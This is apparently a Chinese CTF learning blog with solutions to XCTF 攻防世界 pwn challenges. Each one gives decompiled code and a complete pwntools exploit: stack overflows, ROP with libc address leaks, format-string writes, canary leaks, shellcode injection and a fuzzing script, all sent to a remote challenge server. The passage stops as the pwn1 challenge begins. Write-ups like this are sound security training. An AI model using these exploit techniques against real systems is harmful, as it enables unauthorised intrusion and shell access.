pwn学习-攻防世界

发布于 2020-11-19  1914 次阅读


新手区

0X00 hello_pwn

下载文件,拖入Ubuntu用checksec查看,64位文件,开启了NX保护。

拖入ida查看,read函数读取输入赋值给unk_601068,然后判断dword_60106C是否等于nuaa,相等则执行sub_400686()函数:

sub_400686()函数就会输出flag。

我们只要通过read函数使得栈溢出覆盖dword_60106C的值使其等于nuaa即可。
查看unk_601068dword_60106C在bbs段的地址,计算偏移值。

附上脚本:

from pwn import *

r=remote("220.249.52.133",52402)
payload='A'*(0x6c-0x68)+'aaun'
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
r.interactive()

0X01 when_did_you_born

下载文件,用checksec检查,64位文件,开启了Canary和NX保护。

拖入ida查看

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != 10 )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

先读取参数v5,要使得v5不等于1926进入else,然后gets()读取参数v4,之后判断v5是否等于1926,如果是的话就输出flag。
我们可以使用v4栈溢出来覆盖原本v5的值使其等于1926,从而达到我们的目的。
查看v4和v5在栈上的位置,计算偏移量。

最后是exp,先发送出一个不是1926的值给v5,然后发送payload即可:

from pwn import *

r=remote("220.249.52.133",54866)
payload='a'*(0x20-0x18)+p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("0")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
r.interactive()

0X02 level0

下载文件,用checksec检查,64位文件,开启了NX保护。

拖入ida查看,read函数明显的溢出点

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL, "Hello, World\n");
}

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

同时我们还发现了callsystem()函数,通过read函数的溢出,覆盖返回地址指向callsystem()函数,即可拿到shell。

int callsystem()
{
  return system("/bin/sh");
}

最后是exp:

from pwn import *

r=remote("220.249.52.133",53324)
system = 0x400596
payload='a'*(0x80+0x8)+p64(system)
r.sendline(payload)
r.interactive()

0X03 level2

level2题目提示说是面向返回的编程(ROP)。

从已有的库或可执行文件中提取指令片段,构建恶意代码。

下载文件,用checksec检查保护机制,32位文件,开启了NX保护

拖入ida,显然溢出点在vulnerable_function()函数的read函数,偏移量为0x88+4

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

查看system()函数的地址

查找有无字符串/bin/sh

拿到system()函数和字符串/bin/sh的地址,就可以写payload了:

from pwn import *

io = remote('220.249.52.133',44159)
sys_addr = 0x0804845C
sh_addr = 0x0804A024

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(sh_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()

0x04 CGfsb

下载文件,用checksec检查保护机制,32位文件,开启了canary和NX保护

拖入ida,要求输入两个参数,一个name,一个message,分别对应bufs

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

然后输出名字printf("hello %s", &buf);
输出消息printf(&s);
由于在输出消息的时候没有将字符串格式化,就有可能触发格式化字符串漏洞。
将文件运行起来,先输入AAAA,然后输入AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p,确定了格式化字符串的偏移是10。

sakura@ubuntu:~/Desktop$ ./cgfsb;echo $?
please tell me your name:
AAAA
leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
hello AAAA
your message is:
AAAA 0xffe1512e 0xf7f085a0 0xf0b5ff 0xffe1515e 0x1 0xc2 0x4141579b 0xa4141 (nil) 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
Thank you!
0

然后我们需要将pwnme的值给覆盖为8,然后就能拿到flag。
打开ida,点击pwnme,位于bbs段,得到pwnme的地址。

于是就可以写出payloadpayload = p32(pwnme_addr) + 'aaaa' + '%10$n'

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

将pwnme的地址写入,由于偏移量为10,所以是%10$n,然后p32(pwnme_addr)的长度为4,所以加上任意四个字符凑齐八个即可。

from pwn import *

#sh = process('./cgfsb')
sh = remote('220.249.52.133',51752)
pwnme = 0x804a068
sh.sendline("aaaa")
payload = p32(pwnme) + 'aaaa' + '%10$n'

sh.sendline(payload)
sh.interactive()

0x05 guess_num

下载文件先看看保护机制,开启了Canary,NX和PIE。。64位文件。

拖入ida反编译看看源代码嘛。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  v9 = __readfsqword(0x28u);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

我们输入十个数字,如果十次都与rand()生成的随机数相同,那么就会调用sub_C3E()函数拿到flag。

rand()函数用来产生随机数,但是,rand()的内部实现是用线性同余法实现的,是伪随机数,由于周期较长,因此在一定范围内可以看成是随机的。
rand()会返回一个范围在0到RAND_MAX(32767)之间的伪随机数(整数)。
在调用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。随机种子相同,每次产生的随机数也会相同。

这里srand()设置的seed如果是我们可控的话,那么rand()每次产生的随机数也就是固定的,我们可以使得输入覆盖掉栈中的seed,从而达到随机数可控的目的。
通过v7的输入覆盖掉seed,偏移量为0x20。
payload1可以写为payload = 'a'*0x20 + 'aaaa',seed就被覆盖为了aaaa。

然后我们可以写一个小程序来看看seed为aaaa时,生成的随机数是多少。

#include<stdio.h>
#include<stdlib.h>
int main()
{
    int key;
    srand(0x61616161);
    for(int i = 0; i < 10;i++){
        key = rand()%6+1;
        printf("%d\n",key);
    }
    return 0;
}
/*
Output:
5
6
4
6
6
2
3
6
2
2*/

这样就拿到了可控的随机数,就可以写exp了。

from pwn import *

#sh = process("./guess")
sh = remote("220.249.52.133",36909)

payload1 = 'a' * 0x20 + 'aaaa'
sh.sendline(payload1)
num = ['5','6','4','6','6','2','3','6','2','2']

for i in range(0,10):
    sh.sendline(num[i])
sh.interactive()

0x06 cgpwn2

下载文件用checksec检查保护机制,开启了NX保护的32位文件。

将文件拖入ida查看伪代码,main()函数会调用一个hello()函数,主要代码如下,两次输入,一次name,一次s。
很明显s的输入处没有输入限制,存在栈溢出漏洞。

char *hello()
{
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

然后还能找到system()函数,于是我们可以利用栈溢出返回地址到system函数处,然后给他一个/bin/sh字符串就能拿到shell。

我们双击name,可以发现name处在bss段,于是可以利用其构造一个/bin/sh字符串。

然后是exp:

from pwn import *

#io = process('./cg2')
io = remote('220.249.52.133',47060)

system = 0x08048420
bin_sh = 0x0804A080

io.recvuntil("please tell me your name")
io.sendline('/bin/sh')
io.recvuntil("hello,you can leave some message here:")
payload = 'a' * (0x26 + 4) +  p32(system) + 'aaaa' + p32(bin_sh)
io.sendline(payload)
io.interactive()

0x07 int_overflow

下载文件用checksec检查保护机制,开启了NX保护的32位文件。

拖入ida查看,主要代码如下,首先main函数中输入v4的值,v4等于4则进入login()函数。

login()函数中,输入username s,输入密码buf,s限制输入长度0x19,buf限制输入长度0x199,都在申请的空间范围之内。然后会调用check_passwd函数,并将buf作为参数传入。

check_passwd函数中会判断传入参数buf的长度,并将值赋给v3,注意到了v3的数据类型是unsigned __int8。判断v3的大小,我们得让v3的大小在4到8之间(v3 > 3u || v3 <= 8u),然后会接着执行代码result = strcpy(&dest, s);,将我们传入的参数buf复制到dest中。还有一个后门函数what_is_this()可以利用。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

int login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

int what_is_this()
{
  return system("cat flag");
}

这里根据题目int_overflow,再结合v3的数据类型unsigned __int8,无符号int8整数,然后判断v3的大小,应该就是整数溢出了。无符号int8整数占1个字节,大小范围就是0到255。

  • Int8, 等于Byte, 占1个字节.
  • Int16, 等于short, 占2个字节.
  • Int32, 等于int, 占4个字节.
  • Int64, 等于long, 占8个字节.

如果无符号int8的值超过了255,那么换算成二进制后,就会将高位舍去,保留低位的八位二进制数。

255转换成二进制就是1111 11111111 1111 + 1 = 1 0000 0000,高位的1就会被舍去,就变成了255+1=0

我们可以利用整数的溢出来绕过对输入长度的限制。如果我们的输入长度在260-264之间,v3的值就会在4-8之间,就满足了条件,可以进一步执行。

最后是exp:

from pwn import *

io = remote("220.249.52.134",35121)
#io = process('./int_overflow')

system = 0x804868B

payload = 'a' * (0x14 + 0x4) + p32(system) + 'a' * (262 - len('a' * (0x14 + 0x4) + p32(system)))

io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Please input your username:\n")
io.sendline('username')
io.sendafter('passwd:',payload)

io.interactive()

0x08 level3

下载文件,得到一个ELF可执行文件和一个 32 位的 libc 运行库,先检查ELF的保护机制:

拖入ida,vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

但是在程序中并没有找到现成的system()函数和'/bin/sh'字符串,所以只能从附件中的另一个文件下手,这是一个运行库文件,我们的目的是要通过它来获得两者的地址。

我们通过对 libc 进行 checksec 检查,发现它是开启了 pie 的,而现代操作系统一般都开启了 ASLR ,所以库函数在每次运行时都会被加载到不同的位置,但是由于函数间的相对位置是确定的,那么只要能知道其中一个函数的真正地址,我们就可以计算出任意库函数的地址,这里我们的目标是从 got表 中获取 write 函数的地址,所以要获得的是 system 和 "/bin/sh" 与它的相对位置。

首先要获得 writesystem 的相对位置,由于库文件本质上是一个位置无关的 elf ,所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为 readelf -s libc_32.so.6|grep 函数名 ,找到 write@@GLIBC_2.0system@@GLIBC_2.0 ,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80

使用命令 ROPgadget --binary libc_32.so.6 --string '/bin/sh' 找到字符串 /bin/sh 在libc文件中的位置。

于是可以写出第一个payload了

payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10)

先填充payload至ret处,然后将 elf.plt['write'] 传给ret处,使得eip指向此处执行write函数,write函数返回地址就重新指向main函数p32(elf.symbols['main']),使得可以重新利用main函数,可以再一次输入新的payload。然后p32(1) + p32(elf.got['write']) + p32(10),三个参数分别对应了write函数的三个参数,将write函数在got表中的地址泄露出来。

然后使用write_addr = u32(io.recv()[:4])存下输出的write函数地址。

第二个payload

payload = 'a' * 0x8c + p32(write_addr - 0x99a80) + 'aaaa' + p32(write_addr + 0x84c6b)

p32(write_addr - 0x99a80)就是system函数的实际地址,伪造一个随机的返回地址aaaa,然后传入/bin/sh字符串,拿到shell。

最后是exp:

from pwn import *

io = remote("220.249.52.134",40001)
elf = ELF("./level3")

payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10)

io.recv()
io.sendline(payload)

write_addr = u32(io.recv()[:4])

payload = 'a' * 0x8c + p32(write_addr - 0x99a80) + 'aaaa' + p32(write_addr + 0x84c6b)

io.sendline(payload)
io.interactive()

0x09 string

下载文件,检查一下保护机制,开得还挺多的。

拖入ida反编译一下,先来分析一下。

首先是main函数,先调用函数sub_400996(),输出一堆东西,然后给指针v3分配空间,然后使得v3[0] = 68v3[1] = 85,然后输出他们的地址,将v4作为参数传入函数sub_400D72()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  __int64 v4; // ST18_8

  sub_400996();
  v3 = malloc(8uLL);
  v4 = (__int64)v3;
  *v3 = 68;
  v3[1] = 85;
  printf("secret[0] is %x\n", v4, a2);
  printf("secret[1] is %x\n", v4 + 4);
  sub_400D72(v4);
  return 0LL;
}

sub_400D72函数中,接收我们的输入s,要使得s的长度小于等于0xc,执行接下来的三个函数。

unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  _isoc99_scanf("%s", &s);
  if ( strlen(&s) <= 0xC )
  {
    sub_400A7D();
    sub_400BB9();
    sub_400CA6((_DWORD *)a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

sub_400A7D()函数中,是一个while循环,输入s1,只能等于east,否则会一直死循环。

unsigned __int64 sub_400A7D()
{
  char s1; // [rsp+0h] [rbp-10h]

  while ( 1 )
  {
    _isoc99_scanf("%s", &s1);
    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
      break;
  }
  if ( strcmp(&s1, "east") )
  {
    if ( !strcmp(&s1, "up") )
      sub_4009DD(&s1, "up");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}

接下来进入sub_400BB9()函数,输入v1,使其等于1,然后输入两个参数,就到了我们的重头戏,printf(&format, &format);,格式化字符串漏洞。

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

然后是sub_400CA6()函数,如果*a1 == a1[1],就可以输入一串字符串,并且通过函数指针进行强制类型转换,将刚才的输入转换成一个函数,最后执行。也就是说我们可以传入一串shellcode拿到shell。这里的a1,就是main函数最开始的v3,也就是要使得v3[0] == v3[1]。可以利用之前的格式化字符串漏洞。

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

运行一下这个程序,地址输入12341234,然后format输入AAAAAAAA然后接上一堆%p,将栈上的内容以指针的形式泄露出来,发现输入的addr偏移为7,AAAAAAAA偏移为8。

所以之前的addr我们可以传入v3[0]的地址,这里的payload就可以写为
payload = 'A' * 85 + "%7$n"
将偏移量为7的地方对应的地址修改为格式化字符串之前字符的数量,也就是85,使得v3[0]等于v3[1]的值,然后就可以传入shellcode了。

最后是exp:

from pwn import *

context(arch = 'amd64', os = 'linux')
io = remote("220.249.52.134", 44013)
#io = process("./string")

io.recvuntil("secret[0] is ")
addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("What should your character's name be:\n")
io.sendline("so4ms")

io.recvuntil("So, where you will go?east or up?:\n")
io.sendline("east")

io.recvuntil("go into there(1), or leave(0)?:\n")
io.sendline("1")

io.recvuntil("'Give me an address'\n")
io.sendline(str(addr))

io.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
io.sendline(payload)

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

攻防世界新手区(完)

进阶区

0x00 forgot

下载文件,检查文件保护机制,只开启了NX保护的32位文件。

拖入ida反编译一下,好多函数。。

先输入一个参数s,然后给出了函数sub_8048654()的地址,然后输入参数v2的值,进入for循环。判断v0的值和v2的长度,v0大于等于v2退出循环。

接下来是switch语句,参数为v14,初始为1,退出switch后,会执行(*(&v3 + --v14))();,调用了v3为基础,v14-1为偏移的地址的函数,如果该地址的函数为sub_80486CC(),那么就会输出flag。

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD((int)&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();
  return fflush(stdout);
}

int sub_80486CC()
{
  char s; // [esp+1Eh] [ebp-3Ah]

  snprintf(&s, 0x32u, "cat %s", "./flag");
  return system(&s);
}

我们发现v2的输入没有限制,可以造成溢出,而溢出恰好可以覆盖v3的值,如果v3的值覆盖为sub_80486CC()函数的地址,而v14为1的话,就刚好执行sub_80486CC()函数。

注意payload的第一个字符要不满足函数sub_8048702(char a1),否则v14就会变为2,就不能正确执行函数sub_80486CC()了。

_BOOL4 __cdecl sub_8048702(char a1)
{
  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}

下面是exp:

from pwn import *

#io=process('./forgot')
io=remote('220.249.52.134',55016)

io.sendline('so4ms')
addr = 0x80486CC
payload = 'A' * (0x20) + p32(addr)
io.sendline(payload)

io.interactive()

0X01 dice_game

下载文件得到了一个可执行文件和一个libc库,checksec检查文件的保护机制,除了canary之外都开启了。

简单运行一下,很明显是一个猜数字游戏,进行50次猜数字。

反编译一下,代码很多,但逻辑并不复杂,进行50次猜数字后,就会执行sub_B28()函数输出flag。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28(buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

signed __int64 sub_A20()
{
  signed __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h]
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}

int __fastcall sub_B28(__int64 a1)
{
  char s; // [rsp+10h] [rbp-70h]
  FILE *stream; // [rsp+78h] [rbp-8h]

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}

新手区中也有道类似的题,如果srand()的参数是我们可控的,那么生成的随机数在一定范围内也是我们可控的。

rand()函数用来产生随机数,但是,rand()的内部实现是用线性同余法实现的,是伪随机数,由于周期较长,因此在一定范围内可以看成是随机的。
rand()会返回一个范围在0到RAND_MAX(32767)之间的伪随机数(整数)。
在调用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。随机种子相同,每次产生的随机数也会相同。

这里除了程序外,还给出了libc库,我们可以利用他来生成我们想要的随机数。

最后是exp:

from pwn import *
from ctypes import *

io = remote('220.249.52.134', 48095)
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)

payload = 'a' * 0x40 + p64(1)

io.sendlineafter('Welcome, let me know your name: ', payload)

for i in range(50):
    num = libc.rand() % 6 + 1
    io.sendlineafter("Give me the point(1~6): ", str(num))

io.interactive()

0x02 Mary_Morton

下载文件检查,开启了Canary和NX保护的64位文件,拖入ida。

这里为了更加直观,对ida反编译后的函数名进行了一点更改,加了点注释。

这里调用的函数中,一共有两个函数存在漏洞。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init1();                                      // 初始化
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      output1();                                // 输出字符串,无关函数
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;                                  // v3不等于2,退出内层的while
      Format1();                                // v3等于2,进入有格式化字符串漏洞的函数
    }
    if ( v3 == 3 )                              // 不能使v3等于3
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      overflow();                               // 存在栈溢出,申请了0x80,可以输入0x100
    else
      puts("Wrong!");
  }
}

int sub_4008DA()
{
  return system("/bin/cat ./flag");
}

sub_4008EB()函数,也就是上面的Format1()函数,存在格式化字符串漏洞。

unsigned __int64 sub_4008EB()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

sub_400960()函数,也就是上面的overflow()函数,为buf申请了0x80的空间,但是却可以输入0x100长度的字符串,存在栈溢出。

unsigned __int64 sub_400960()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}

Format1()overflow()两个函数返回时,会对栈上的Canary进行检查,看一下汇编。

只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stack_chk_fail。

栈上的结构应该是这样的。

于是我们可以通过字符串格式化漏洞来将栈上的canary泄露出来,然后在栈溢出时将canary填充到对应的位置,然后就可以跟上shell函数的地址。

这里我们先输入2进入格式化字符串漏洞的函数,输入aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x发现偏移量为6。

然后找到栈上buf与v2偏移量相差多少。

(0x90 - 0x8) / 0x8 + 0x6 = 0x17 = 23

所以canary的偏移量就为23,可以通过格式化字符串漏洞来获取。

exp:

from pwn import *

#io = process('./mary')
io = remote('220.249.52.134', 38488)

system = 0x4008DA

io.recvuntil('3. Exit the battle')
io.sendline('2')

io.sendline("%23$p")

io.recvuntil("0x")

canary = int(io.recv(16),16)

payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system)

io.recvuntil('3. Exit the battle')
io.sendline('1')

io.sendline(payload)
io.interactive()

0x03 warmup

这题居然没有附件??我大意了啊,出题人不讲武德。

nc连接上去,输出了一串十六进制数,应该是一个地址,然后有一个输入点,随便输入一个1然后结束了,我???

没办法,百度了一下,说是要求我们fuzz

(fuzzing)模糊测试的意思
模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。

毫无头绪。看看别人的exp,思路就是逐个增加字符,然后带上或者是不带上他给出的地址,然后带上地址还要分为p32()p64()

exp:

from pwn import *

addr = 0x40060d

def fuzz(io, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    io.recvuntil(">")
    io.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                io = remote("220.249.52.134", 50152)
                fuzz(io, i, j)
                text = io.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                io.close()

if __name__ == '__main__':
        main()

最后是num等于72,flag为2时有了flag,秀的我头皮发麻。

然后在网上还看见了这题有附件的版本,,,,麻了

0x04 pwn1

下载文件,一个ELF可执行文件,一个libc库。

检查保护机制,几乎开完了。

将程序反编译一下,查看源码。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
